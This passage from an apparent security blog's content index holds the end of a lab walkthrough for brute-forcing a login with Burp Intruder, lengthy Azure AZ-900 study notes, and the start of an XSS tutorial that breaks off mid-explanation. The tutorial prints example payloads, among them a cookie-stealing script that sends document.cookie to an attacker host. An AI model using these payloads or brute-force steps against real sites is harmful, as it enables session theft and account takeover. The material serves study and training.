counter for the number of failed login attempts by logging in to your own account before this limit is reached.\u003c/li\u003e\n\u003cli\u003eEnter an invalid username and password, then send the \u003ccode\u003ePOST /login\u003c/code\u003e request to Burp Intruder. Create a pitchfork attack with payload positions in both the \u003ccode\u003eusername\u003c/code\u003e and \u003ccode\u003epassword\u003c/code\u003e parameters.\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003eResource pool\u003c/strong\u003e tab, add the attack to a resource pool with \u003cstrong\u003eMaximum concurrent requests\u003c/strong\u003e set to \u003ccode\u003e1\u003c/code\u003e. By only sending one request at a time, you can ensure that your login attempts are sent to the server in the correct order.\u003c/li\u003e\n\u003cli\u003eOn the \u003cstrong\u003ePayloads\u003c/strong\u003e tab, select payload set 1. Add a list of payloads that alternates between your username and \u003ccode\u003ecarlos\u003c/code\u003e. Make sure that your username is first and that \u003ccode\u003ecarlos\u003c/code\u003e is repeated at least 100 times.\u003c/li\u003e\n\u003cli\u003eEdit the list of candidate passwords and add your own password before each one. Make sure that your password is aligned with your username in the other list.\u003c/li\u003e\n\u003cli\u003eAdd this list to payload set 2 and start the attack.\u003c/li\u003e\n\u003cli\u003eWhen the attack finishes, filter the results to hide responses with a 200 status code. Sort the remaining results by username. There should only be a single 302 response for requests with the username \u003ccode\u003ecarlos\u003c/code\u003e. Make a note of the password from the \u003cstrong\u003ePayload 2\u003c/strong\u003e column.\u003c/li\u003e\n\u003cli\u003eLog in to Carlos\u0026rsquo;s account using the password that you identified and access his account page to solve the lab.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"username-enumeration-via-account-lock\"\u003eUsername enumeration via account lock\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eWith Burp running, investigate the login page and submit an invalid username and password. Send the \u003ccode\u003ePOST /login\u003c/code\u003e request to Burp Intruder.\u003c/p\u003e","title":"Broken Authentication Labs"},{"content":"Cloud Concepts Benefits of cloud computing Scalability: ability to accommodate a larger load by making the hardware stronger(vertical), or by adding nodes (horizontal)\nElasticity: once a system is scalable, elasticity mean that there will be ‘auto scaling’, based on the load, this is cloud friendly : pay per use, match, optimize costs\nAgility: (not related to scalability), new IT resources are only a click away, it mean that you reduce the time to make those resources available to your developers from weeks to minutes\nAvailability: goes in hand with horizontal scaling, mean running your application at least in 2 availability zones, the goal is to survive a data center loss (disaster)\nDifferences between CapEx and OpEx and Consumption-based model Capital Expenditure (on-premise): Purchasing some assets upfront (servers) and I need to use for a certain time Operational Expenditure (the cloud): Consumption by the pay for what i use as i am use it, gives flexibility\nA consumption-based pricing model is a service provision and payment scheme in which the customer pays according to the resources used. This model is essentially the same as the utility computing payment structure and those of other utilities, such as water and electricity.\nDifferences between categories of cloud services Infrastructure as a Service (IaaS) Provide building blocks for cloud IT Provide networking, computers, data storage space Highest level of flexibility Simulate the look from managing physical resources Eg: VMs, Blob Storage, GCP, Digital Ocean, Elastic Load Balancing Platform as a Service (PaaS) Remove the company to manage underlying infrastructure Focus on deployment and management of applications You will define the behavior and environment for your application (code) Eg: Heroku, EKS, ACI Software as a Service (SaaS) Completed product that is run and managed by the service provider offer services meant to be accessed by end users Eg: Gmail, Outlook, Recognition for ML, Zoom Shared Responsibility model:\nDifferences between types of cloud computing Cloud computing is the delivery of computing services—including servers, storage, databases, networking, software, analytics, and intelligence—over the Internet (“the cloud”) to offer faster innovation, flexible resources, and economies of scale. You typically pay only for cloud services you use, helping you lower your operating costs, run your infrastructure more efficiently, and scale as your business needs change.\nPublic Cloud: Limitless, many regions, over internet, like Azure, AWS or GCP Hybrid Cloud: We are using both, like provide some services from my servers and in busy days provide from the cloud Private Cloud: Management of servers, more customizable, we can bring azure capabilities on premise with Azure Stack and Azure arc Azure Core Services Core Azure Architectural Components Region A region is a group of data centers that interact to provide redundancy and availability for the services hosted within that region. For example, West US, Central US and North Central US are three of many regions, each one is paired with another in the same geography to allow replication of resources and reduce data loss. Microsoft establishes and controls the pairing of regions, you cannot choose a region pair, however you choose the region in which deploy a service, which indirectly determines which other region is in the pair.\nAvailability Zones They area data centers that are grouped in regions with low latency connection, we can pick up to 3 AZ when deploying a service, there are no correlation between buildings and subscriptions.\nAzure availability zones-enabled services are designed to provide the right level of resiliency and flexibility. They can be configured in two ways. They can be either zone redundant, with automatic replication across zones, or zonal, with instances pinned to a specific zone. You can also combine these approaches.\nSome organizations require high availability of availability zones and protection from large-scale phenomena and regional disasters. Azure regions are designed to offer protection against localized disasters with availability zones and protection from regional or large geography disasters with disaster recovery, by making use of another region.\nResource Groups Like a logical container for your resources, you can apply various properties to the resource group and those properties apply to all the resources in that resource group, keep in mind these list when create resource group:\nLifecycle: All resources should share the same lifecycle for deployment, updates and deletion Resource Assignment: A resource can exist in only one group, but you can add or remove a resource to or from the group as needed. You can also move resources from one group to another. Resource Interaction: resources from different resource groups can interact each other Deletion: When you delete a resource group, all resources in the group are deleted Creation: You can use Azure portal, PowerShell, Azure CLI or an Azure resource manager template to create a resource group Tags: You can apply tags to a resource group to differentiate areas in your organization, the tag applies only to the resource group and not the resources inside the group, think like is only a label of the resource group, however you can put tags in the resources inside A resource group can contain resources from any region, not just the region in which the resource group is located Azure Subscription A resource group serves as a logical container for resources, Azure Subscriptions serves the same but a higher level, like a box that contains all your resource group boxes, also a resource group only exist in one subscription.\nAzure Subscriptions can serve as:\nAdministrative boundaries (control security, resources and policies) Payment Agreement, ex: pay-as-you-go offer tied to a credit card billing each month Legal Agreement with specific Azure plan, each with its own rate plan, terms and conditions ex: free trial Management Groups Useful for managing access, policies and compliance for your subscriptions Level of scope above subscriptions Use case: limit regions available for VMs creations Hierarchy of management groups and subscriptions\nResource Manager Everything in azure is a resource (vm,db,etc..) Useful for manage resources, serving as a deployment service for azure ARM support use of templates to create, manage resources in JSON format You can automate the deployment of an entire Azure environment by using templates, only need to declare what you want to create and the properties, and the ARM passes that information to Azure providers Core Azure Services Virtual Machines (IaaS) Full control over OS Maintain and patch VM image Has scalability, flexibility You can move from host to host due to the metadata that defines the VM Virtual machine scale sets Simplify the creation and managing a group of load-balanced VMs Scale in or scale out to adjust the demand Enables high availability in themselves (up to 1000 VMs or 600 custom images) Created from the same OS image (same applications and config) You can use AZs to further improve availability by distributing the VMs across multiple data centers Availability Set Help avoid potential outages caused by hardware issues and update VMs without causing the set to be unavailable Fault Domain: Group of hardware that shares a power source and network switch, similar to a rack Update Domain: Group of hardware thar undergoes maintenance activities or reboot events at the same time Availability sets distributes VMs across multiple fault domains and update domains Azure App Service PaaS Service that enables quickly develop and deploy web apps Support .net, java, ruby, python, etc.. and Windows or Linux OS and docker containers Offers load balancing, autoscaling, automated management(updates), security features and templates from Marketplace Azure Container Instances (ACI) Offers the fastest and simples way to run a container in Azure is a PaaS service where you upload your container and runs for you Cost saving because you are only paying for consumption of CPU and memory used by container, rather than paying a VM Serves as a virtual environment that includes the resources necessary for its hosted application to function Designed to be created, scaled out and stopped dynamically Azure Kubernetes Service (AKS) AKS is a container orchestration service that monitors health Provides scalability and resource sharing among container in a Kubernetes cluster This service is a complete orchestration for containers with distributed architectures and large volume, can use the same image for deploying Windows Virtual Desktop (WVD) Enables your users to use a cloud-hosted version of Windows from any location Azure Virtual Desktop works across devices like Windows, Mac, iOS, Android, and Linux Good for users working from home, rather than provision a new Windows device Provide best user experience, enhance security, simplified management performance management and multi-session win 10 enterprise deployment Core Azure Storage Blob Storage Optimized to store large amount of unstructured data Accessed through HTTP or HTTPS, Azure Storage API, Azure Powershell, Azure CLI or Azure storage client library Similar to S3 from Amazon Web Services Tiers: Hot access: Optimized for storing frequently accessed data Cool access: Optimized for data you access infrequently or for a relatively limited period of time Archive access: Data that you rarely access, ex:long-term storage backups Hot an cool stores data online, but cool means lowe storage cost but higher access cost Disk Storage Attached to a VM, like a physical disk in a server, 99.999 availability through replicas Offer three main types: data disk, OS disk and temporary disk OS and data disks are persistent, they don\u0026rsquo;t go when you reboot your VM Support server-side-encryption and disk encryption Server-side-encryption is enabled by default with bitlocker(Windows) and DM-Crypt(Linux), meet compliance and policy requirements Disk encryption enables you to encrypt OS and data disks File Storage Files that are available from anywhere in the world but not associated with a VM or volume letter Can be accessed by Server Massage Block (SMB) or Network File System (NFS) Used for replacing existing data on premise file servers, moving data from on-premise to Azure and sharing data required by apps Storage Accounts Before you use storage in Azure you must create an storage account, this account provides an unique name through which you can access these objects via HTTP or HTTPS Types of account: General-purpose v1: Legacy account type intended for blobs, files, queues and tables General-purpose v2: Intended for blobs, files, queues as well as Data lake Gen2 BlockBlobStorage: Intended for block blobs and append blocs in high-performance such as high transaction rates and for low latency FileStorage: Intended for files-only storage scenarios where premium performance is required BlobStorage: Legacy blob-only storage account type Core Data Services SQL Server on Azure VMs Good for fast migration of SQL server from on-premise to Azure with retention of operating system access Enables lift-and-shift from an on-premise datacenter to Azure with ease, while maintaining compatibility Azure SQL Database You should use this solution for Cost-effective, serverless database with an intermittent usage pattern and a low compute utilization over time Abstracts all the infrastructure needed to host a SQL database Is a PaaS in which Microsoft manages maintenance like upgrades, patching and monitoring to ensure 99.99 uptime You only focus on creating the SQL database and managing tables, views, etc Azure SQL Managed Instances Is a PaaS service that provides scalable cloud data service without need to deploy hardware Enables frictionless migration to Azure with minimal application and database changes, at the same time it eliminates overhead for the management of underlying infrastructure Differences with azure SQL SQL MI offers features for auditing, authentication, backups, change data capture (CDC) common languaGe runtime (CLR) linked servers, OPENQUERY\u0026hellip; Can integrate with the Azure Data Migration Server, enable easy move from on-premise to Azure managed instance Cosmos DB Multimodel Database: scale data out to multiple Azure regions in the globe Provides excellent elasticity in both throughput and storage, good for peak hours Supports SQL and NoSQL databases like MongoDB, Cassandra, Gremlin API (massive graphs) Azure Database for MySQL Serverless service, only focus on your MySQL databases without worrying about the infrastructure If you see the LAMP (Linux, Apache, MySQL, PHP) stack for development in the exam think about MySQL Azure Database for PostgreSQL PaaS service, support PostgreSQL database engine with scalability, elasticity, high availability and more PostgreSQL is appropriate in situations where you want to deploy and manage PostgreSQL databases without worrying about underlying infrastructure Azure Database Migration Service Supports variety of database migrating scenarios for offline and online migrations Offline occurs when the resource is not in use In an online migration the data is synchronized from the live source to the target and then the app is cut over the new instance of the database Core Networking Services Virtual Networks VNet enables virtual machines and other services to communicate among themselves, with the internet and with your on-premise network VNets adds availability and scalability to your network resources in Azure When you create a VNet you specify the private IP adress space that the VNet will use VNets are scoped to a single region and subscription but span in all AZs in each region You can use virtual network peering to connect VNet across regions with the same latency if they where on the same virtual network Load Balancers Distribute network traffic across multiple resources to improve responsiveness, reliability and availability Azure offer four load balancing services: Azure Front Door: Designed for global or multiregion routing and site acceleration, uses the Microsoft global edge network to enable fast, secure and scalable web applications Support URL path based like application gateway, but this is globally distributed (caching, high availability, fast failover) Azure Traffic Manager: Is an application layer DNS-based traffic that balances traffic at the domain level across global Azure regions, offers options for routing and detecting point health Appropriate for DNS-based global routing, detecting endpoint health and routes traffic to the data center closest to the users Azure Application Gateway: Provides application delivery controller (ADC) as a service, applicable for HTTPS traffic and can route traffic based on incoming URL, URI path, and host headers Good for HTTP(S) traffic, for example when the URL includes videos in the path and you want to direct traffic to a set of web servers Azure Load Balancer Is a transport layer service designed for high performance and low latency, support zone-redundant and applies for non HTTP(S) traffic Good for balancing traffic among multiple database VMs Azure VPN Gateway VPN establishes an encrypted tunnel between two private networks across public network For example: you can establish a secure connection between your on-premise network and your resources in azure Supports multiple VPN configurations: Site-to-site: Establishes a VPN between two sites, such as between your on premise data center and azure Multi-site: Establishes VPN tunnels between azure and multiple on-premise sites Point-to-site: Establishes a VPN tunnel from a single device (point) to a site VNet-to-VNet: Establish a VPN between two Azure VNets ExpressRoute Create private connection between Azure Datacenters and infrastructure on premise (cost saving) Don\u0026rsquo;t go over the public internet, and offer more reliability, faster speeds, and lower latencies than typical internet connections Content Delivery Networks (CDN) Places web content across networks to make readily available to users on their location Example: If a user in USA want to see a video that you host in Italy, you could place those files in CDN that has a point of presence in Virginia, when the user access this file, the file come from the cached copies in the CDN, rather than your server in Italy Each file has a time-to-live (TTL) property that determines when the file should be refreshed from the source to the cache Summary Networking Addressing: Devices on a network are assigned a network address, subnets create virtual networks to segregate devices within an address space, when you create a resource you specify the address segment and the IP (static or dynamic) Routing: Routers move network traffic between network segments, make possible to communicate between public networks and private networks with public ones Domain Name Service (DNS): Provides a hots-to-address resolution, enabling application to determine the IP address associated with a hostname Virtual Private Network: Creates an encrypted tunnel between two private networks across public networks Load Balancer: Distributes traffic to a group of servers or services, enabling the load to be shared among them, and enables fault tolerance Express Route: Establish a secure VPN connection bypassing the internet, connects directly to the Microsoft global network Content Delivery Network (CDN): CDN places content near users and reduce network traffic and latency Core Solutions and Management Tools Internet of Things (IoT) Azure IoT Hub Azure-hosted service that server as message hub between IoT devices and Azure services Requires you to write code to connect IoT devices Supports multiple protocols, SDK, highly scalable which means it can integrate billions of devices Support multiple communication and control functions, including: Device-to-cloud telemetry to collect data Device-to-cloud file upload to collect and transfer data Request/reply methods for controlling devices from the cloud Monitoring IoT hub can route messages received to other Azure services Can not support analyzing of telemetry data Azure IoT Central SaaS solution to build IoT solutions without development expertise Builds on the functions provides by IoT Hub to provide dashboards for control, management features You can connect new devices, view telemetry, view overall device and create alerts to notify you You can use device templates, which allow you to connect new devices without any coding in IoT central This solution supports device-to-cloud messaging and per-devide identity Azure Sphere Integrated IoT solution that consist of three key parts: Azure Sphere micro controller unit (MCUs): Hardware component built in the IoT device Management software: Custom linux OS that manages communication with security service Azure Sphere Security Service (AS3): Handles certificate-based device auth to Azure, updates the software to prevent vulnerabilities in the device Data Analytics Data Lake Analytics Big Data solutions that allows developers to write code with a mixture of SQL and C# syntax, the language is called U-SQL Allows developers to user their existing skills to process data a large-scale Azure Synapse Analytics Good if you are looking for distributed query solution, that works with machine learning Offers serverless and dedicated resource model, requires the use of five different application components which forms an Azure Synapse cluster HDInsight Managed Apache Hadoop service that lets you run Apache Spark, Hive, Kafka, HBase and more (big data) Makes ease, fast and cost effective to process massive amounts of data in a customizable environment Some of its capabilities are: Cloud Native Low-cost and scalable Secure and Compliant Monitoring Global, productivity Azure Databricks Is an Apache Spark based analytics platform designed to provide collaborative analytics workflow Data analytics platform optimized for Azure, offers three environments for developing apps: Databricks SQL: easy-to-use platform, run SQL queries on their data lake, build and share dashboards Databricks Data Science \u0026amp; Engineering: enables collaboration, for big data pipelines, can work with apache kafka and IoT hub, Spark Databricks Machine Learning: integrated end-to-end ML environment with managed services for experiment tracking, model training, feature development and model serving Azure Event Hub PaaS service offering that can ingest and process millions of events per second from websites, mobile apps, and IoT devices It can be part of big data streaming or feed a real time analytics solution Azure Stream Analytics PaaS solution designed to process high volumes of fast streamed data from sources like sensors, IoT devices and apps Identify patterns and relationships in the streamed data to trigger actions, initiate workflows, feed reporting tools and redirect data to storage solutions Artificial Intelligence Azure Machine Learning Through testing you determine the model that provide the most accurate predictions Can use Machine Learning Studio (portal web) for create no-code solutions using a selection of tools (drag-and-drop), also manage assets and resources You should use Machine Learning service when you want to create machine learning algorithms by using python, there are thousands of open-source Python packages with machine learning components Machine Learning Studio allows you to use built-in algorithms, not write custom algorithm in python Azure Cognitive Services Provide ML models designed to interact with humans and execute cognitive function that humans would normally do, the following list summarizes the services: Language: To process natural language to determine, for ex: the user question or sentiment Speech: Convert speech into text or text into speech, can translate one language to another, recognize and verify the speaker Vision: Provides identification for analyzing images, videos and similar visual data Decision: Personalize user experience with recommendations, remove offensive content\u0026hellip; Azure Bot Service Enables you to create virtual agents to interact with users Answer questions, get information and start activities with other azure services Can use all the cognitive services to do activities like understand what user is asking Azure Marketplace Provides purchase and subscriptions links to certified cloud applications and solutions from Microsoft and its technology partners All solutions offered are certified through the Microsoft Azure Certification Program This ensures compatibility with the Azure public cloud Offerings include: API applications Azure AD applications Data services Developer Services VMs and Web apps Serverless Computing Azure Function If you used AWS, is similar to Lambda function, enables you to host a single method that runs in response to an event You can use different programming languages to code this function Scales automatically, pay only for the time and resources needed while function is running Is stateless, does not store it state from every execution, executes the same every time Excellent solution for building small blocks of code that run for a very short time in response to an event Azure Logic Apps More complex than a function, like a workflow, create no-code and low-code solutions to automate and orchestrate tasks, business processes and workflows Build the apps using web-based design environment by connecting triggers to actions with various connections, ex: a message arriving a queue is a trigger, this event pass the massage to other service Priced based on the number of executions and the type of connectors that the app uses Azure Event Grid Provides solution for building event-driven architectures that subscribe to Azure resources and route events for different endpoints Event grid can subscribe to a variety of Azure resources including storage resources, resource groups and IoT Hubs Events can be filtered before being forwarded to appropriate event handlers for processing DevOps Azure DevOps Services Is a group of services that enables and support multiple stages in development process, include the following: Azure Artifacts: Repository for storing development artifacts such as compiled source code Azure Boards: Manage individuals items, task, features and bugs Azure Pipelines: Automatically build and test code projects Azure Repos: Source code repository for collaborating on development projects Azure Test Plans: Automated testing tool for code Github Actions Offers many of the same functions as Azure DevOps Github is the appropriate choice for collaborating on open source projects and DevOps is the appropriate choice for enterprise/internal projects Azure DevTest Labs Automates deployment, configuration and decommissioning of VMs and Azure resources You can decommission all those services so that you pay only for the resources you need for testing while your are testing them Can use ARM templates to deploy any type of resource, however DevTest Labs does not provide monitoring, alerting or telemetry services to monitor those resources Azure Management Tools Azure Portal Web interface that enables you ti view, create and manage Azure resources and services Easy to use because it offers a familiar web-based user experience, also provides a wealth of visualization tools and reports You can encounter dashboards, blade or resource panel A blade is a panel that slides out in a navigation sequence, it represents a single level navigation hierarchy, each blade provides either information or configuration option A dashboard is a collection of customizable tiles that are displayed in the portal, you can add remove and reposition tiles as you wish A resource panel is the left-most panel in the portal, is lists the main resource types that are available Azure PowerShell Scripting environment to execute commands to perform management tasks in Azure through Azure REST API Those scripts can be simple or complex, potentially deploying hundreds of resources in short period You can access powershell through Azure Cloud shell Azure CLI If you are experienced with Bash, this is your best option, is a driven scripting environment that also uses REST API You can access via web browser through the Azure Cloud Shell Azure Cloud Shell Web based interface that enables you to run Azure PowerShell, Bash and Azure CLI commands and scripts A storage account is required to use Azure Cloud Shell Azure Mobile App Enables you to manage Azure resources from your mobile device Is not great management solution for complex tasks, but you can do basic functions with your apps like reset a web app Azure Advisor Personalized cloud consultant that helps you follow best practices to optimize your Azure deployments Analyzes your resource configuration and usage telemetry to give the best recommendations Gives you recommendation based on: Operational Excellence Security Reliability Performance efficiency Cost Optimization Azure Monitor Helps you maximize the availability and performance of your apps and services Collect, analyze and acting on telemetry from your cloud and on-premise environments to understand how your apps are performing and identify issues affecting them and the resources they depend on With Azure Monitor you can: Detect issues across applications and dependencies Drill into your monitoring data for troubleshooting Create visualizations with azure dashboards Create actions that execute automatically in response to alerts Azure Service Health Keep you informed about the health of your cloud resources Include current and upcoming issues such as service impacting events, planned maintenance, \u0026hellip; Combination of three separate smaller services Status page: Provides information on Azure services globally to help you see at a glance what services are affected in what regions Service Health: Gives you information about service issues, planned maintenance, health advisories, and security advisories in a dashboard Resource Health: Tracks the state of the resources you have deployed to Azure to give you visibility to any ongoing or historical issues with those resources General and Network Security Azure Security Azure Security Center Monitoring service that provides threat protection across both azure and on-premise datacenters\nSupport Windows and Linux OS Integrates natively with Microsoft Defender to provide risk detection and assessment with threat intelligence Provide security recommendations Detect and block malware Analyze and identify potential attacks Just-in-time access control for ports Capabilities: Policy Compliance Continuous assessments Tailored recommendations Threat protection Azure Sentinel Security information management (SIEM) and security automated response (SOAR) solution that provides security analytics and threat intelligence across an enterprise A playbook is a collection of procedures that can be run from Azure Sentinel in response to an alert A security playbook can help automate and orchestrate your response, and can be run manually or set to run automatically when alerts are triggered Playbooks can be used to sync you Microsoft Sentinel incidents with other ticketing system Connector and Integrations: Ofiice 365 Azure Active Directory Azure Advances Threat Protection Azure Key Vault Stores application secrets in a centralized cloud location to securely control access permission and access logging\nSecurely store cryptographic keys and other secrets Secret management Key management Certificate management Storing secrets backed by hardware security modules (HSMs) Azure Dedicated Host Provides physical servers that host one or more Azure virtual machines that is dedicated to a single organizations workload\nHardware isolation at the server level Control over maintenance event timing Aligned with Azure Hybrid Use Benefits Network Security Defense in depth Layered approach to securing computer system Provides multiple levels of protection Attacks against one layer are isolated from subsequent layers Combining network security solutions to maximize the defense Network Security Groups (NSG) Filter network traffic to and from Azure resources on Azure Virtual Networks\nSet inbound and outbound rules to filter by source and destination IP address, port, and protocol Add multiple rules, as needed, within subscription limits Azure applies Application Security Groups (ASG) Enable you to group servers based on applications running on them and manage security for them as a group Rather than apply rules in the NSG to the VMs where applicaction servers reside, you create a ASG and add VMs to it, and then create the NSG and reference the ASG in it The NSG rules then apply to the VMs in the ASG Azure Firewall A stateful, managed Firewall as a Service (FaaS) that grants/denies server access based on IP address, in order to protect network resources in the perimeter layer\nApplies inbound and outbound traffic filtering rules Built-in high availability Unrestricted cloud scalability Uses Azure Monitor logging Azure Distributed Denial of Service (DDoS) protection DDoS attacks overwhelm and exhaust network resources, making apps slow or unresponsive\nSanitizes unwanted network traffic before it impacts service availability Basic service tier is automatically enabled in azure Standard service tier adds mitigation capabilities that are tuned to protect Azure Virtual Network resources Identity, Governance, Privacy and Compliance Azure Identity Compare Authentication and Authorization Authentication:\nIdentifies the person or service seeking access to a resource Requests legitimate access credentials Basis for creating secure identity and access control principles Can use certificates to identify a person or service Authorization:\nDetermine an authenticated person or service level of access Defines which data they can access, and what they can do with it Can not use passwords to identify a person Azure Multi-Factor Authentication Provides additional security for your identities by requering two or more elements for full authentication\nSomething you know (password, pin) Something you possess (phone, key) Something you are (biometric control) Azure Active Directory (AAD) Is Cloud bases identity and access management service\nAuthentication (employees sign-in to access resources) Single sing-on (SSO) Application management Business to Business (B2B) Business to Customer (B2C) identity services Device managements Plans: Azure AD Free: Provides management of users and groups, synchronization with on-premises AD, basic reporting, SSO, Microsoft 365 Azure AD Premium P1: Includes all features in free along with the capability to access on-premise resources, support dynamic groups, self-service group management, Microsoft Identity Manager Azure AD Premium P2: All the P1 features along with Azure AD Identity protection for conditional access to apps and critical data, and Privileged Identity Management for discover, monitor, restrict access to resources Can integrate with RBAC to control who has access to specific Azure Resources, what actions they can take and what areas they can access To use RBAC in azure, you create a role assignment that consists of a security principal, role definition and scope Security Principal=who, Role=what, and Scope=where Conditional Access Is used by Azure Active Directory to bring signals together, to make decisions and enforce organizational policies\nUser or Group Memberships IP Location Device Application Risk Detection Azure Governance Explore Role-based access control (RBAC) Fine-grained access management Segregate duties within the team and grant only the amount of access to users that they need to perform their jobs Enables access to the Azure portal and controlling access to resources Resource Locks Protect your Azure resources from accidental deletion or modification Locks can not be applied to specific users or roles, it applies to all users and roles Manage locks at subscription, resource group, or individual resource levels within Azure Portal Two Types: CanNotDelete ( You can read, update but not delete) ReadOnly ( You can read, but not update or delete) Tags Provides metadata for your Azure resources Useful to differentiate areas in your company Up to 50 tag per resource by default Azure Policy Helps to enforce organizational standards and to access compliance at-scale. Provides governance and resource consistency with regulatory compliance, security, cost, and management\nEvaluates and identifies Azure resources that do not comply with your policies Provides built-in policy and initiative definitions, under categories such as Storage, Networking, Compute, Security Center, and Monitoring Azure Policy Initiative Is a collection of Azure policies definitions, usually grouped with the aim of achieving a single goal Initiatives are used to simplify managing and assigning policies When a initiative assignment is evaluated, all policies in that initiative are evaluated An initiative can only contain policies that area located in the same subscription, however you can assign a single initiative to scopes across multiple subscriptions or management groups Azure Blueprints Makes it possible for development teams to rapidly build and stand up new environments. Developments team can quickly build trust through organizational compliance with a set of built-in components (such as networking) in order to speed up development and delivery\nWhen a blueprint is updated and the updated version is published, any assignments of the blueprint are not updated automatically When a blueprint is unassigned, all resources assigned by the blueprint remain in place, but blueprint resource locking is removed, this results int the deletion of the blueprint assignment object When you delete a core blueprint, any assigned versions of the blueprint remain in place, a blueprint must be unassigned before it can be deleted Role Assignments Policy Assignments Azure Resource Manager Templates Resource Groups Cloud Adoption Framework The one Microsoft approach to cloud adoption in Azure Best practices from Microsoft employees, partners and customers Tools, guidance, and narratives for strategies and outcomes Strategy: Define the business justification and the expected outcomes of adoption Plan: Align actionable adoption plans with business outcomes Ready: Prepare the cloud environment for the planned changes Develop new cloud-native or hybrid solutions Azure Compliance Security, Privacy and Compliance Security: Secure by design. With built in intelligent security, Microsoft helps to protect against known and unknown cyberthreats, using automation and artificial intelligence Privacy: We are committed to ensuring the privacy of organizations through our contractual agreements, and by providing user control and transparency Compliance: We respect local laws and regulations and provide comprehensive coverage of compliance offerings Online Service Terms and Data Protection Addendum Online Service Terms: The licensing terms define the terms and conditions for the products and Online Services you purchase through Microsoft Volume Licensing programs Data Protection Addendum: The DPA sets forth the obligations, with respect to the processing and security of Customer Data and Personal Data, in connection with the Online Services Azure Pricing and SLA Planning and managing costs Factors affecting costs There are six primary factors affecting costs\nResource type Services: Azure usage rates and billings can differ between Enterprise, Web Direct, and CSP customers Location Bandwidth: inbound data is free, but outbound is priced based on zones Reserved Instances: reservations reduce your resource costs up to 72% on pay-as-you-go prices Azure Hybrid Use Benefit: For customers with Software Assurance, you can use your licenses on Azure to reduce costs Pricing Calculator You can estimate the total costs of the services your are willing to use You only need to select the resource and specify the parameters like region, OS, tier, time You can export, save or share the price for the solution Total Cost Ownership Calculator (TCO) A tool to estimate cost saving you can realize by migrating to Azure A report compares the costs of on-premises infrastructures with the costs of on-premises infrastructures with the costs of using Azure products and services in the cloud Azure Cost Managements Reporting billing reports Data enrichment Budgets - set spend budget Alerting - when costs exceed limits Recommendation - cost recommendations Azure SLAs and Service Lifecycle Service Level Agreements (SLAs) describes Microsoft commitments for uptime and connectivity\nSLAs are based on individual products and services SLAs for Azure products and services Performance targets are expressed as uptime and connectivity guarantees Performance-targets range from 99% to 99.999% If a service fails to meet the guarantees, a percentage of the monthly bill can be refounded Composite SLAs Is the result of combining services with potentially differing SLAs, for example VMs and Azure SQL Database, one with 99.9 percent and the other with 99.99 percent, to determine the composite SLA, you simply multiply the SLA values for each resource Actions that affect SLAs Lower you SLA:\nAdding more services Choosing free or non-SLA services Raise your SLA:\nAvailability Zones Redundant systems Many factors can raise or lower your SLA, design decisions based on business goals will drive your SLA goals Service Lifecycles Determines how a product is released and supported, azure provides two lifecycle phases: preview and general availability\nAzure Preview Program Azure features in the preview phase (beta testing) Preview features are not subject to SLAs and the limited warranty outlined in the Online service terms In general public previews are available to everyone, in some cases Microsoft offer private previews to selected organizations by invitation Can be configured at the organization or user level General Availability The next step is general availability, these services are subject to the published SLAs and other service terms and warranties defined by the Online Service Terms Moving the GA does not guarantee that a service will always be offered Azure provides for a minimum of 12 months notice before a GA feature is retired ","permalink":"https://blog.s4yhii.com/posts/2022-02-16-azure-fundamentals-notes/","summary":"\u003ch1 id=\"cloud-concepts\"\u003eCloud Concepts\u003c/h1\u003e\n\u003ch2 id=\"benefits-of-cloud-computing\"\u003eBenefits of cloud computing\u003c/h2\u003e\n\u003cp\u003eScalability: ability to accommodate a larger load by making the hardware stronger(vertical), or by adding nodes (horizontal)\u003c/p\u003e\n\u003cp\u003eElasticity: once a system is scalable, elasticity mean that there will be ‘auto scaling’, based on the load, this is cloud friendly : pay per use, match, optimize costs\u003c/p\u003e\n\u003cp\u003eAgility: (not related to scalability), new IT resources are only a click away, it mean that you reduce the time to make those resources available to your developers from weeks to minutes\u003c/p\u003e","title":"Microsoft Azure Fundamentals (AZ-900) Notes"},{"content":"Cross-site scripting known as XSS is a web vulnerability in which malicious scripts are injected int benign and trusted websites. XSS occur when an attacker send malicious code in any user input fields in a browser to a different end-user.\nMechanisms In an XSS attack the attacker inject script in HTML code so you\u0026rsquo;ll have to know javascript and HTML syntax, wbe uses scripts to control client-side application logic and make the website interactive, for example this script generates Hello! pop-up on the web page:\n\u0026lt;html\u0026gt; \u0026lt;script\u0026gt;alert(\u0026#34;Hello!\u0026#34;);\u0026lt;/script\u0026gt; \u0026lt;h1\u0026gt;Welcome to my page\u0026lt;/h1\u0026gt; \u0026lt;html\u0026gt; Script like this that are embedded in HTML file instead of loaded from are separated file are called inline scripts. These script causes XSS vulnerabilities, scripts can also be loaded from an external file like this: \u0026lt;script src=\u0026quot;URL_OF_EXTERNAL_FILE\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\nIf the website doesn\u0026rsquo;t validate the input before render the message, it will cause XSS, validating user input means that the application checks that the user input meets a certain standard, sanitizing in the other hand means that the application modifies special characters in the input that can be used to interfere with HTML logic before further processing.\nAs a result the inline script will cause a redirection to an another url. The src attribute of HTML script tag allwo to load javascript form external source, this code will execute the content of https://attacker.om/xss.js/ on the victim browser:\n\u0026lt;script src=http://attacker.com/xss.js\u0026gt;\u0026lt;/script\u0026gt; This example is not exploitable because there is no way of inject this in other users pages, but let´s say the site allow users to subscribe to a newsletter with the URL https://subscribe.com?email?=USER_EMAIL after the user visit this page, they are automatically subscribed, and the confirmation message will appear on the web, so we can inject xss payload for users who visit this URL https://subscribe,com?email=\u0026lt;script\u0026gt;location=\u0026quot;http://attacker.com\u0026quot;;\u0026lt;/script\u0026gt; since the malicious script is incorporated in the page, the user will think its safe, so we can access any resources that the browser stores for that site, for example this code will steal user cookies by sending a request to the attacker IP.\n\u0026lt;script\u0026gt;image=new Image(); image.src=\u0026#39;http://atttacker_site_ip/?c=\u0026#39;+document.cookie;\u0026lt;/script\u0026gt; Reflected XSS Input from a user is directly returned to the browser, permitting injection of arbitrary content A classic example would be a URL, which contain a parameter that can be altered by a user, where the input is mirrored and made visible. Example URL: \u0026lsquo;https://example.com/?user=jesus' Example Output:\n\u0026lt;span id=\u0026#39;user\u0026#39;\u0026gt; \u0026lt;b\u0026gt; Hi jesus\u0026lt;/b\u0026gt; \u0026lt;/span\u0026gt; Stored XSS Input from a user is stored on the server (database) and returned later without proper escaping and sanitization to the user\nDOM XSS Input from a user is inserted into the page\u0026rsquo;s DOM without proper handling, enabling 